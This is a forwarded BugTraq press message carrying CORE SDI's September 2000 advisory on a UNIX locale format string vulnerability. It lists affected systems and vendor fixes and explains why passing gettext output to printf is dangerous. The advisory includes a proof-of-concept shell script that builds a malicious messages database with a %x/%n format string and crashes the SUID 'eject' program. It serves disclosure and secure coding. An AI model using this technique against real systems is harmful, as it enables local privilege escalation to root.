A serious security vulnerability has been found in glibc, the standard C library which is responsible for many core functions, including printf(). This new form of vulnerability, titled "format string" vulnerability, occurs when an input string is interpreted incorrectly, resulting in the potential for execution of arbitrary code. Most vendors have already released updates.. . .
A serious security vulnerability has been found in glibc, the standard C library which is responsible for many core functions, including printf(). This new form of vulnerability, titled "format string" vulnerability, occurs when an input string is interpreted incorrectly, resulting in the potential for execution of arbitrary code. Most vendors have already released updates.

 Date:         Mon, 4 Sep 2000 12:33:29 -0700 From: Elias Levy  Subject:      Wide Spread UNIX Vulnerability To: BUGTRAQ-PRESS@SECURITYFOCUS.COM  The following message was just send out over BUGTRAQ. In it Ivan Arce of CODE SDI discloses a security vulnerability that affects almost all UNIX systems, including Linux.  The vulnerability can normally only be exploited locally, but there are some instances where it may be possible to exploit it remotely via TELNET. The problem is the result of a new class of vulnerabilities that were discussed on BUGTRAQ during the last few months. This type of vulnerabilities are being termed "format string" vulnerabilities.  These types of vulnerabilities allow a malicious user to supply a vulnerable program with input that the program will interpret as a format string (for example for the standard C *printf functions) and can result in an attack with similar results as a buffer overflow. In other words execution of arbitrary code on the target.  The reason this is exciting is because since the advent in popularity of buffer overflows there really hasn't been any new class of vulnerabilities that we haven't seen already. Now things have changed, and it means people will have to audit their code once again looking for this new type of problem.  Its also interesting that this advisory was released early. CODE SDI wanted to work with all vendors to fix the problem before releasing their advisory. We, SecurityFocus.com, were helping them with this. Sadly it seems one of the vendors that was contacted was not very cooperative and released their advisory before we had a change to work with all vendors. So in essence they screwed up everyone else other than their customers.  This exemplifies the problems of working with vendors to fix security vulnerabilities. A follow up post to BUGTRAQ should clear up who is responsible for this breach of confidence.  Return-Path:  Delivered-To: bugtraq@lists.securityfocus.com Received: from securityfocus.com (mail.securityfocus.com [207.126.127.78])         by lists.securityfocus.com (Postfix) with SMTP id 32E6F1EF69         for ; Mon,  4 Sep 2000 10:47:16 -0700 (PDT) Received: (qmail 24079 invoked by alias); 4 Sep 2000 17:48:37 -0000 Delivered-To: BUGTRAQ@SECURITYFOCUS.COM Received: (qmail 24067 invoked from network); 4 Sep 2000 17:48:34 -0000 Received: from sin.core-sdi.com (200.49.71.179)   by mail.securityfocus.com with SMTP; 4 Sep 2000 17:48:34 -0000 Received: from amadeus.servers.core-sdi.com (amadeus.servers.core-sdi.com [192.168.13.3])         by sin.core-sdi.com (Postfix) with ESMTP id 966221E01         for ; Mon,  4 Sep 2000 15:22:38 -0300 (ART) Received: (from daemon@localhost)         by amadeus.servers.core-sdi.com id VAA11538         for BUGTRAQ@SECURITYFOCUS.COM; Mon, 4 Sep 2000 21:07:14 -0300 From: =?iso-8859-1?Q?Iv=E1n?= Arce  Subject: UNIX locale format string vulnerability Date: 4 Sep 2000 21:07:14 -0300 Organization: CORE SDI S.A. Lines: 302 Message-ID: <39B3E1A6.F47BBFE4@core-sdi.com> X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: BUGTRAQ@SECURITYFOCUS.COM Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit                                 CORE SDI                                           UNIX locale format string vulnerability   Date Published: September 4th, 2000 (early release)  Advisory ID: CORE-090400  Bugtraq ID: 1634  CVE CAN: None currently assigned.  Title: UNIX locale format string vulnerability  Class: Input Validation Error  Remotely Exploitable: Yes (on some systems)  Locally Exploitable: Yes  Vulnerability Description:   This report is being released earlier (it was originally  scheduled for Sept 11th., 2000) due to the fact that  information regarding the vulnerability has been made  public by several vendors.   Many UNIX operating systems provide internationalization support  according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications  using the of the locale subsystem.  The locale subsystem comprises a set of databases that store language  and country specific information and a set of library functions used  to store, retrieve and generally manage that information.   In particular a database with messages used by almost all the  operating system programs is keep for each supported language.   The programs access this database using the gettext(3), dgettext(3),  dcgettext(3) C functions (Sun/Uniforum specifications) or  catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4  specification).   Generally a program that needs to display a message to the user  will obtain the proper language specific string from the database  using the original message as the search key and printing the results  using the printf(3) family of functions.  By building and installing a custom messages database an attacker  can control the output of the message retrieval functions that get  feed to the printf(3) functions.   Bad coding practices and the ability to feed format strings to  the later functions makes it possible for an attacker to execute  arbitrary code as a privileged user (root) using almost any SUID  program on the vulnerable systems.   Alternatively, on some operating systems, the problem can be  exploited remotely using the environment variable passing options  in telnetd. However, a remote attacker must be able to place  the suitable messages database on the target host (i.e. anonymous  ftp, NFS, email, etc.)  Vulnerable Packages/Systems:   Sun Microsystems Inc.   Solaris 2.x, Solaris 7, Solaris 8 (x86 and Sparc architectures)   Silicon Graphics Inc.   IRIX 6.2 to 6.5.8   Linux   Red Hat Linux   Debian Linux   Conectiva Linux 4.0 or higher    All supported versions of Conectiva Linux use Glibc 2.1.1    which explicity checks and ignores the NLSPATH environment    variable if the catopen() and catgets() functions are called    from a SUID executable.    Verified and reported by Andreas Hasenak     Although the above text is the result of research and email   communications that took place during the last 2 weeks, the   release of security advisories from Red Hat, Debian and   Conectiva Linux acknowledging the existence of the problem   seems to probe otherwise.   Suspected vulnerable [not checked]   AIX   HP-UX   Tru64 (Digital Unix)   SCO OpenServer   SCO Unixware   Systems not vulnerable   OpenBSD    As reported by Theo deRaadt    FreeBSD    As reported by Kris Kennaway      FreeBSD does not allow the use of the NLSPATH    environment variable in privileged (SUID) applications.     FreeBSD can not be exploited remotely either, since the    /usr/bin/login program does not use the cat* functions    and is SUID root.   Solution/Vendor Information/Workaround:    Red Hat Linux    Refer to the REdHAt Linux announce:        Debian Linux    Obtain patches from http//www.debian.org/security    Refer to the Debian announce:        Conectiva Linux    Refer to the Conectiva Linux announce        Other vendors    Contact vendor for a fix  Vendor notified on: All vendors were notified on August 22nd, 2000  Credits:   This vulnerability was discovered by Ivan Arce of CORE SDI S.A.,  Buenos Aires, Argentina.   This advisory was drafted with the help of the SecurityFocus.com  Vulnerability Help Team. For more information or assistance drafting  advisories please mail vulnhelp@securityfocus.com.  Technical Description - Exploit/Concept Code:   Passing unchecked user supplied data as a format string to the  printf(3) functions can lead to unexpected changes of flow  control and execution of arbitrary code in context of the  vulnerable program. The following C program exemplifies  the problem described:    -----sample.c-----   void main(int argc, char **argv)   {     /* This is proper use */     printf("%s\n",argv[1]);     /* This is bad use */     printf(argv[1]);     printf("\n");   }   ------------------   In the above example if argv[1] is a string with characters   interpreted by printf(3) as formatting characters, the behavior   of the program can be altered to execute arbitrary code in   a way _similar_ to the exploitation of buffer overflow   vulnerabilities:    $ cc -o sample sample.c   $ ./sample hello   hello   hello   $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n   %x%x%x%x%x%n%n%n%n%n%n%n%n%n   Memory fault (core dumped)   $    Recent posts to computer security lists and related publications   provide good reference material to understand the problem and   possible ways to exploit it.    It has been found that most programs in many popular operating   systems suffer from this problem derived from the way the   messages database of the locale subsystem is used.   In particular, privileged programs (programs with the SUID bit   set) that execirse access to the database using the gettext(3)   function in a vulnerable manner are directly exploitable and   allow an attacker to obtain root privileges instantly.   The following code exemplifies a common bad coding practice   that makes the cited programs vulnerable:    main(int argc, char **argv)   {     if(argc > 1) {       printf(gettext("usage: %s filename\n"),argv[0]);       exit(0);    }    printf("normal execution proceeds...\n");   }    Here the output of the gettext(3) function   is not validated and passed directly to printf(3).   gettext(3) searches the messages database for a message   that matches the key "usage: %s filename\n" in the   current locale settings and returns it to the caller.   A malicious, unprivileged, user can build and install   a bogus messages database and instruct the vulnerable   program to use it, thus controlling the output of gettext()   and force-feeding formatting characters to printf(3).   The problem above is NOT related to the user input to the   program but instead to the data contained in the messages   database.     The following commands demonstrates the problem:    $ uname -a   SunOS maul 5.7 Generic_106541-02 sun4m Sparc SUNW,SPARCstation-5   $ ls -l   $ ls -l /usr/bin/eject   -r-sr-xr-x   1 root     bin        14352 Oct  6  1998 /usr/bin/eject   $ eject -x`perl -e 'print "ABCDEF". "A"x507`   eject: illegal option -- x   usage: eject [-fndq] [name | nickname]   options:       -f force eject                  -n show nicknames                  -d show default device                  -q query for media present                  -p do not call eject_popup   $ cat >doit.sh   #!/bin/ksh   export NLSPATH=:`pwd`   echo domain \"messages\" > messages.po   echo msgid  \""usage: %s [-fndq] [name | nickname]\\\n"\" >> messages.po   echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po   msgfmt messages.po   cp messages.mo SUNW_OST_OSCMD   cp messages.mo SUNW_OST_OSLIB   exec eject -x`perl -e 'print "ABCDEF" . "A"x507'`   ^D   $ ./doit.sh eject: illegal option -- x effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c00effffa60 115083effffac44effffad05effffb2c002effffac4effffad023000000000000000000000002eff ffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2eeffffe9aef fffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5aefffff72ef ffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c7ef7d00008 0610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault  $ exit   As shown, the SUID program 'eject' follows the user directives to  use a custom (bogus) messages database. The specific way to do  it vary in different operating systems but usually involves  the usage of environment variables (NLSPATH, LC_MESSAGES, LANG, etc.)  and/or locale library functions (textdomain(3), bindtextdomain(3),  etc.)   The problem however stems from bad coding practices in the  operating system's programs:  - A SUID program should not follow the users directives of    what database it should use, locale databases should be    taken from a secure trusted directory.   - Output of gettext(3) should not be passed as a format    string directly to printf(3) functions.   References   A good reference for localization and internationalization is  the "Programming for internationalization FAQ":    \           /programming-faq.html   Sections 3 and 5 describe the locale subsystem and the  X/Open and Sun/Uniforum set of functions for language  independent messages.   Format string bugs and exploitation are described in:            Recent vulnerabilities involving format strings              $Id: locale-advisory.txt,v 1.8 2000/09/04 17:14:51 iarce Exp $  -- "Understanding. A cerebral secretion that enables one having it to know  a house from a horse by the roof on the house,  It's nature and laws have been exhaustively expounded by Locke,  who rode a house, and Kant, who lived in a horse." - Ambrose Bierce   ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A email   : iarce@core-sdi.com  Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina.              Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central =====================================================================  --- For a personal reply use iarce@core-sdi.com   ----- End forwarded message -----  -- Elias Levy SecurityFocus.com  Si vis pacem, para bellum